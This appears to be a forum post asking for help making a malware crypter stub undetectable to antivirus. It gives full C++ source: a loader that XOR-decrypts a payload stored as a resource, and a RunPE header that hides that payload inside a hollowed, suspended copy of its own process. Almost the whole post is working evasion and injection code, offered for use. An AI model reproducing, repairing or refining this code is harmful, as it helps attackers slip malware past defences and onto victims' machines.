need help refuding a stub for a crypter

main cpp :
#include <iostream>
#include <Windows.h>
#include "Runpe.h"

int Rsize;
char* RData;

void Resource(int id)
{
HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(1), RT_RCDATA);
HGLOBAL temp = LoadResource(NULL, hResource);
Rsize = SizeofResource(NULL,hResource);
RData = (char*)LockResource(temp);
}

void enc()
{
char cipher[] = "magic";
for (int i = 0; i < Rsize; i++)
RData[i] ^= cipher[i % strlen(cipher)];
}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
Resource(1);
enc();

LPVOID pFile;
TCHAR szFilePath[1024];

pFile = RData;
if (pFile)
{
GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
ExecFile(LPSTR(szFilePath), pFile);
}
return 0;
};





runpe.h :



#include <Windows.h>

typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

void ExecFile(LPSTR szFilePath, LPVOID pFile)
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
PCONTEXT CTX;
PDWORD dwImageBase;
NtUnmapViewOfSection xNtUnmapViewOfSection;
LPVOID pImageBase;
int Count;

IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
{
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
if (INH->Signature == IMAGE_NT_SIGNATURE)
{
RtlZeroMemory(&SI, sizeof(SI));
RtlZeroMemory(&PI, sizeof(PI));

if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);

if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
{
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandl eA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
}

pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase)
{
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
{
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
}
}
}
}
}
VirtualFree(pFile, 0, MEM_RELEASE);
}